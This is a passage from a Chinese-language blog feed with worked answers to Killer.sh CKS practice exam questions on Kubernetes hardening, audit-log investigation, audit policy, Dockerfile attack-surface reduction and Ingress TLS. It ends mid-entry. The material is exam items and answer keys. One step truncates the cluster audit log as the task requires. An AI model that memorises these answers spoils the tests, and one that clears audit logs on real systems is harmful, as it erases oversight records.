/opt/course/19/immutable-deployment-new.yaml</span><br><span class="line"></span><br><span class="line">vim /opt/course/19/immutable-deployment-new.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/19/immutable-deployment-new.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">team-purple</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">immutable-deployment</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">immutable-deployment</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox:1.32.0</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&#x27;sh&#x27;</span>, <span class="string">&#x27;-c&#x27;</span>, <span class="string">&#x27;tail -f /dev/null&#x27;</span>]</span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">busybox</span></span><br><span class="line">        <span class="attr">securityContext:</span>                  <span class="comment"># add</span></span><br><span class="line">          <span class="attr">readOnlyRootFilesystem:</span> <span class="literal">true</span>    <span class="comment"># add</span></span><br><span class="line">        <span class="attr">volumeMounts:</span>                     <span class="comment"># add</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/tmp</span>                 <span class="comment"># add</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">temp-vol</span>                  <span class="comment"># add</span></span><br><span class="line">      <span class="attr">volumes:</span>                            <span class="comment"># add</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">temp-vol</span>                    <span class="comment"># add</span></span><br><span class="line">        <span class="attr">emptyDir:</span> &#123;&#125;                      <span class="comment"># add</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br></pre></td></tr></table></figure><p>应用文件, 删除先前创建的deployment 并创建新的deployment</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k delete -f /opt/course/19/immutable-deployment-new.yaml</span><br><span class="line">k create -f /opt/course/19/immutable-deployment-new.yaml</span><br></pre></td></tr></table></figure><p>验证</p><p><img src="https://images.hao.kim/uploads/2024/12/c36e0561fc40f201ea0ec02addb313d2e9fd9617bc107c029905f4bfecfa67df.jpg" alt="log-audit-3-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 18 | Investigate Break-in via Audit Log</title>
      <link href="/archives/kubernetes/CKS/log-audit-3.html"/>
      <url>/archives/kubernetes/CKS/log-audit-3.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context infra-prod</code></p><p>Namespace <code>security</code> contains five Secrets of type Opaque which can be considered highly confidential. The latest Incident-Prevention-Investigation revealed that ServiceAccount <code>p.auster</code> had too broad access to the cluster for some time. This SA should’ve never had access to any Secrets in that Namespace.</p><p>Find out which Secrets in Namespace <code>security</code> this SA did access by looking at the Audit Logs under  <code>/opt/course/18/audit.log</code> .</p><p>Change the password to any new string of only those Secrets that were accessed by this SA.</p><blockquote><p>You can use jq to render json more readable. cat data.json | jq</p></blockquote><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：4%。</p><p>使用环境: <code>kubectl config use-context infra-prod</code></p><p>名称空间 <code>security</code> 包含五个Opaque类型的Secrets，可以认为是高度机密。最新的事件预防调查显示，ServiceAccount <code>p.auster</code> 在一段时间内对集群的访问过于广泛。这个SA本不应该访问该命名空间的任何秘密。</p><p>通过查看 <code>/opt/course/18/audit.log</code> 下的审计日志，找出这个SA确实访问了名称空间安全中的哪些秘密。</p><p>把密码改成任何新的字符串，只有那些被这个SA访问过的Secrets。</p><blockquote><p>你可以使用jq来使json更加可读。<code>cat data.json | jq</code></p></blockquote><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n security get secret | grep Opaque</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f40b6966d01ccf21cfea06c2072dab63eb99ec43c5e316ebb7ae241341f4e8ea.jpg" alt="log-audit-3-1">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">grep <span class="string">&#x27;p.auster&#x27;</span> /opt/course/18/audit.log | grep Secret | <span class="built_in">wc</span> -l</span><br><span class="line">grep <span class="string">&#x27;p.auster&#x27;</span> /opt/course/18/audit.log | grep Secret | grep list | <span class="built_in">wc</span> -l</span><br><span class="line">grep <span class="string">&#x27;p.auster&#x27;</span> /opt/course/18/audit.log | grep Secret | grep get  | <span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> audit.log | grep <span class="string">&quot;p.auster&quot;</span> | grep Secret | grep get | jq</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">&quot;kind&quot;:</span> <span class="string">&quot;Event&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;apiVersion&quot;:</span> <span class="string">&quot;audit.k8s.io/v1&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;level&quot;:</span> <span class="string">&quot;RequestResponse&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;auditID&quot;:</span> <span class="string">&quot;74fd9e03-abea-4df1-b3d0-9cfeff9ad97a&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;stage&quot;:</span> <span class="string">&quot;ResponseComplete&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;requestURI&quot;:</span> <span class="string">&quot;/api/v1/namespaces/security/secrets/vault-token&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;verb&quot;:</span> <span class="string">&quot;get&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;user&quot;:</span> &#123;</span><br><span class="line">    <span class="attr">&quot;username&quot;:</span> <span class="string">&quot;system:serviceaccount:security:p.auster&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;uid&quot;:</span> <span class="string">&quot;29ecb107-c0e8-4f2d-816a-b16f4391999c&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;groups&quot;:</span> [</span><br><span class="line">      <span class="string">&quot;system:serviceaccounts&quot;</span>,</span><br><span class="line">      <span class="string">&quot;system:serviceaccounts:security&quot;</span>,</span><br><span class="line">      <span class="string">&quot;system:authenticated&quot;</span></span><br><span class="line">    ]</span><br><span class="line">  &#125;,</span><br><span class="line"><span class="string">...</span></span><br><span class="line">  <span class="attr">&quot;userAgent&quot;:</span> <span class="string">&quot;curl/7.64.0&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;objectRef&quot;:</span> &#123;</span><br><span class="line">    <span class="attr">&quot;resource&quot;:</span> <span class="string">&quot;secrets&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;namespace&quot;:</span> <span class="string">&quot;security&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;name&quot;:</span> <span class="string">&quot;vault-token&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;apiVersion&quot;:</span> <span class="string">&quot;v1&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line"> <span class="string">...</span></span><br><span class="line">&#125;</span><br><span class="line">&#123;</span><br><span class="line">  <span class="attr">&quot;kind&quot;:</span> <span class="string">&quot;Event&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;apiVersion&quot;:</span> <span class="string">&quot;audit.k8s.io/v1&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;level&quot;:</span> <span class="string">&quot;RequestResponse&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;auditID&quot;:</span> <span class="string">&quot;aed6caf9-5af0-4872-8f09-ad55974bb5e0&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;stage&quot;:</span> <span class="string">&quot;ResponseComplete&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;requestURI&quot;:</span> <span class="string">&quot;/api/v1/namespaces/security/secrets/mysql-admin&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;verb&quot;:</span> <span class="string">&quot;get&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;user&quot;:</span> &#123;</span><br><span class="line">    <span class="attr">&quot;username&quot;:</span> <span class="string">&quot;system:serviceaccount:security:p.auster&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;uid&quot;:</span> <span class="string">&quot;29ecb107-c0e8-4f2d-816a-b16f4391999c&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;groups&quot;:</span> [</span><br><span class="line">      <span class="string">&quot;system:serviceaccounts&quot;</span>,</span><br><span class="line">      <span class="string">&quot;system:serviceaccounts:security&quot;</span>,</span><br><span class="line">      <span class="string">&quot;system:authenticated&quot;</span></span><br><span class="line">    ]</span><br><span class="line">  &#125;,</span><br><span class="line"><span class="string">...</span></span><br><span class="line">  <span class="attr">&quot;userAgent&quot;:</span> <span class="string">&quot;curl/7.64.0&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;objectRef&quot;:</span> &#123;</span><br><span class="line">    <span class="attr">&quot;resource&quot;:</span> <span class="string">&quot;secrets&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;namespace&quot;:</span> <span class="string">&quot;security&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;name&quot;:</span> <span class="string">&quot;mysql-admin&quot;</span>,</span><br><span class="line">    <span class="attr">&quot;apiVersion&quot;:</span> <span class="string">&quot;v1&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line"><span class="string">...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们看到，secret <code>vault-token</code> 和 <code>mysql-admin</code> 被 p.auster访问。因此，我们需要改变这些密码。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> new-vault-pass | <span class="built_in">base64</span></span><br><span class="line"><span class="comment">#bmV3LXZhdWx0LXBhc3MK</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> new-mysql-pass | <span class="built_in">base64</span></span><br><span class="line"><span class="comment">#bmV3LW15c3FsLXBhc3MK</span></span><br><span class="line"></span><br><span class="line">k -n security edit secret vault-token</span><br><span class="line">k -n security edit secret mysql-admin</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 17 | Audit Log Policy</title>
      <link href="/archives/kubernetes/CKS/log-audit-2.html"/>
      <url>/archives/kubernetes/CKS/log-audit-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 7%</p><p>Use context: <code>kubectl config use-context infra-prod</code></p><p>Audit Logging has been enabled in the cluster with an Audit Policy located at <code>/etc/kubernetes/audit/policy.yaml</code> on  <code>cluster2-controlplane1</code> .</p><p>Change the configuration so that only one backup of the logs is stored.</p><p>Alter the Policy in a way that it only stores logs:</p><ul><li>From Secret resources, level Metadata</li><li>From “system:nodes” userGroups, level RequestResponse</li></ul><p>After you altered the Policy make sure to empty the log file so it only contains entries according to your changes, like using  <code>truncate -s 0 /etc/kubernetes/audit/logs/audit.log</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重: 7%</p><p>使用环境: <code>kubectl config use-context infra-prod</code></p><p>审计日志已经在集群中启用，审计策略位于  <code>/etc/kubernetes/audit/policy.yaml</code> ，在  <code>cluster2-controlplane1</code> 上。</p><p>改变配置，使日志只有一个备份被存储。</p><p>改变策略的方式，使其只存储日志。</p><ul><li>从秘密资源，更改 Metadata</li><li>从 “system:nodes “用户组，更改 RequestResponse。 更改策略后，确保清空日志文件，使其只包含与你的更改有关的条目，如使用 <code>truncate -s 0 /etc/kubernetes/audit/logs/udit.log</code> 。</li></ul><blockquote><p>你可以使用jq来使json更加可读. <code>cat data.json | jq</code></p></blockquote><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查apiserver  配置文件并进行更改</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/kube-apiserver.yaml ~/17_kube-apiserver.yaml</span><br><span class="line">vim /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/kube-apiserver.yaml </span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint:</span> <span class="number">192.168</span><span class="number">.100</span><span class="number">.21</span><span class="string">:6443</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">kube-apiserver</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kube-apiserver</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">kube-apiserver</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--audit-policy-file=/etc/kubernetes/audit/policy.yaml</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--audit-log-path=/etc/kubernetes/audit/logs/audit.log</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--audit-log-maxsize=5</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--audit-log-maxbackup=1</span>                                    <span class="comment"># 更改</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--advertise-address=192.168.100.21</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--allow-privileged=true</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/kubernetes/audit/policy.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/audit/policy.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">audit.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Policy</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">Metadata</span></span><br></pre></td></tr></table></figure><p>添加相关内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/audit/policy.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">audit.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Policy</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># log Secret resources audits, level Metadata</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">Metadata</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">group:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="attr">resources:</span> [<span class="string">&quot;secrets&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># log node related audits, level RequestResponse</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">RequestResponse</span></span><br><span class="line">  <span class="attr">userGroups:</span> [<span class="string">&quot;system:nodes&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># for everything else don&#x27;t log anything</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">None</span></span><br></pre></td></tr></table></figure><p>重启api-server 并观察变化</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /etc/kubernetes/manifests/</span><br><span class="line"></span><br><span class="line"><span class="built_in">mv</span> kube-apiserver.yaml ..</span><br><span class="line">watch crictl ps <span class="comment"># 等待apiserver就绪</span></span><br><span class="line"><span class="built_in">truncate</span> -s 0 /etc/kubernetes/audit/logs/audit.log <span class="comment">#写日志</span></span><br><span class="line"><span class="built_in">mv</span> ../kube-apiserver.yaml .</span><br></pre></td></tr></table></figure><p>jq格式化查看</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> audit.log | <span class="built_in">tail</span> | jq</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 显示 secret</span></span><br><span class="line"><span class="built_in">cat</span> audit.log | grep <span class="string">&#x27;&quot;resource&quot;:&quot;secrets&quot;&#x27;</span> | <span class="built_in">wc</span> -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># metadata级别 secret</span></span><br><span class="line"><span class="built_in">cat</span> audit.log | grep <span class="string">&#x27;&quot;resource&quot;:&quot;secrets&quot;&#x27;</span> | grep -v <span class="string">&#x27;&quot;level&quot;:&quot;Metadata&quot;&#x27;</span> | <span class="built_in">wc</span> -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># RequestResponse</span></span><br><span class="line"><span class="built_in">cat</span> audit.log | grep -v <span class="string">&#x27;&quot;level&quot;:&quot;RequestResponse&quot;&#x27;</span> | <span class="built_in">wc</span> -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 仅显示 system:nodes 的 RequestResponse</span></span><br><span class="line"><span class="built_in">cat</span> audit.log | grep <span class="string">&#x27;&quot;level&quot;:&quot;RequestResponse&quot;&#x27;</span> | grep -v <span class="string">&quot;system:nodes&quot;</span> | <span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 16 | Docker Image Attack Surface</title>
      <link href="/archives/kubernetes/CKS/image-attack-surface.html"/>
      <url>/archives/kubernetes/CKS/image-attack-surface.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 7%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>There is a Deployment <code>image-verify</code> in Namespace <code>team-blue</code> which runs image  <code>registry.killer.sh:5000/image-verify:v1</code> . DevSecOps has asked you to improve this image by:</p><ul><li>Changing the base image to <code>alpine:3.12</code></li><li>Not installing <code>curl</code></li><li>Updating nginx to use the version <code>constraint &gt;=1.18.0</code></li><li>Running the main process as user <code>myuser</code></li></ul><p><code>Do not</code> add any new lines to the Dockerfile, just edit existing ones. The file is located at  <code>/opt/course/16/image/Dockerfile</code> .</p><p>Tag your version as  <code>v2</code> . You can build, tag and push using:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/course/16/image</span><br><span class="line">podman build -t registry.killer.sh:5000/image-verify:v2 .</span><br><span class="line">podman run registry.killer.sh:5000/image-verify:v2 <span class="comment"># to test your changes</span></span><br><span class="line">podman push registry.killer.sh:5000/image-verify:v2</span><br><span class="line">Make the Deployment use your updated image tag v2.</span><br></pre></td></tr></table></figure><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：7%</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>名称空间 <code>team-blue</code> 中有一个部署  <code>image-verify</code> ，运行 <code>image registry.killer.sh:5000/image-verify:v1</code> 。</p><ul><li>将基础镜像改为 alpine:3.12</li><li>不安装 curl</li><li>更新nginx以使用版本约束&gt;&#x3D;1.18.0</li><li>以用户myuser身份运行主进程</li></ul><p><code>不要</code> 在Docker文件中添加任何新行，只需编辑现有的行。该文件位于 <code>/opt/course/16/image/Dockerfile</code> 。</p><p>将你的版本标记为 <code>v2</code> .你可以用以下方式构建、标记和推送。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/course/16/image</span><br><span class="line">podman build -t registry.killer.sh:5000/image-verify:v2 。</span><br><span class="line">podman run registry.killer.sh:5000/image-verify:v2 <span class="comment"># 来测试你的改变</span></span><br><span class="line">podman push registry.killer.sh:5000/image-verify:v2</span><br></pre></td></tr></table></figure><p>让部署使用你更新的图像标签 v2。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>备份 编辑 dockerfile文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /opt/course/16/image/Dockerfile Dockerfile.bak</span><br><span class="line">vim Dockerfile</span><br></pre></td></tr></table></figure><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/16/image/Dockerfile</span></span><br><span class="line"><span class="keyword">FROM</span> alpine:<span class="number">3.4</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apk update &amp;&amp; apk add vim curl nginx=1.10.3-r0</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> addgroup -S myuser &amp;&amp; adduser -S myuser -G myuser</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./run.sh run.sh</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> [<span class="string">&quot;chmod&quot;</span>, <span class="string">&quot;+x&quot;</span>, <span class="string">&quot;./run.sh&quot;</span>]</span></span><br><span class="line"><span class="keyword">USER</span> root</span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;/bin/sh&quot;</span>, <span class="string">&quot;./run.sh&quot;</span>]</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/course/16/image/run.sh</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/16/image/run.sh</span></span><br><span class="line"><span class="string">while</span> <span class="literal">true</span><span class="string">;</span> <span class="string">do</span> <span class="string">date;</span> <span class="string">id;</span> <span class="string">echo;</span> <span class="string">sleep</span> <span class="number">1</span><span class="string">;</span> <span class="string">done</span></span><br></pre></td></tr></table></figure><p>dockerfile 文件的内容 为 部署 <code>alpine3.4</code> 添加了 <code>vim, curl,nginx,</code> 添加了相关用户和组,循环执行 <code>run.sh</code>, 间隔1s输出时间和 id</p><p><img src="https://images.hao.kim/uploads/2024/12/81c0afa3aeec8d882d26f0170c1662b6e33d0f384ad7e90596d39a28d1f468ab.jpg" alt="image-attack-surface-0">  </p><p>根据题目进行修改</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/16/image/Dockerfile</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 更改版本</span></span><br><span class="line"><span class="keyword">FROM</span> alpine:<span class="number">3.12</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 更改 删除curl</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apk update &amp;&amp; apk add vim nginx&gt;=1.18.0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> addgroup -S myuser &amp;&amp; adduser -S myuser -G myuser</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> ./run.sh run.sh</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> [<span class="string">&quot;chmod&quot;</span>, <span class="string">&quot;+x&quot;</span>, <span class="string">&quot;./run.sh&quot;</span>]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 更改用户</span></span><br><span class="line"><span class="keyword">USER</span> myuser</span><br><span class="line"></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;/bin/sh&quot;</span>, <span class="string">&quot;./run.sh&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>重新构建image 并 执行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/course/16/image</span><br><span class="line">podman build -t registry.killer.sh:5000/image-verify:v2 .</span><br><span class="line">podman run registry.killer.sh:5000/image-verify:v2</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/fc8717429b8e589efba1f17932fe2f1e3b37df82c52ec12d2eb3388a5310f066.jpg" alt="image-attack-surface-1">  </p><p>检查无误后进行push</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">podman push registry.killer.sh:5000/image-verify:v2</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9acc396c992b1608aca466494ce86e2d18d972673f649e0df054abee12c46fef.jpg" alt="image-attack-surface-2">  </p><p>编辑deployment 使用更新的image</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-blue edit deploy image-verify</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl -n team-blue edit deploy image-verify</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">registry.killer.sh:5000/image-verify:v2</span> <span class="comment"># 更改</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-blue logs -f -l <span class="built_in">id</span>=image-verify</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d6d8ad161fbec2b5542079531acd92869a3d9ca2bd8341814ee588a264dd2de4.jpg" alt="image-attack-surface-3">  </p><p>检查 验证curl nginx</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-blue <span class="built_in">exec</span> image-verify-55fbcd4c9b-x2flc -- curl</span><br><span class="line">k -n team-blue <span class="built_in">exec</span> image-verify-55fbcd4c9b-x2flc -- nginx -v</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 15 | Configure TLS on Ingress</title>
      <link href="/archives/kubernetes/CKS/TLS-ingress.html"/>
      <url>/archives/kubernetes/CKS/TLS-ingress.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>In Namespace <code>team-pink</code> there is an existing Nginx Ingress resources named <code>secure</code> which accepts two paths <code>/app</code> and <code>/api</code> which point to different ClusterIP Services.</p><p>From your main terminal you can connect to it using for example:</p><ul><li>HTTP: <code>curl -v http://secure-ingress.test:31080/app</code></li><li>HTTPS: <code>curl -kv https://secure-ingress.test:31443/app</code></li></ul><p>Right now it uses a default generated TLS certificate by the Nginx Ingress Controller.</p><p>You’re asked to instead use the key and certificate provided at <code>/opt/course/15/tls.key</code> and  <code>/opt/course/15/tls.crt</code> . As it’s a self-signed certificate you need to use <code>curl -k</code> when connecting to it.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：4%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>在命名空间 <code>team-pink</code> 中，有一个名为 <code>secure</code> 的 Nginx Ingress 资源，它接受两个路径 <code>/app</code>和 <code>/api</code> ，指向不同的ClusterIP服务。</p><p>从你的主终端，你可以使用比如说，连接到它。</p><ul><li>HTTP: <code>curl -v http://secure-ingress.test:31080/app</code></li><li>HTTPS: <code>curl -kv https://secure-ingress.test:31443/app</code></li></ul><p>现在，它使用由 Nginx Ingress Controller 默认生成的TLS证书。</p><p>要求你使用 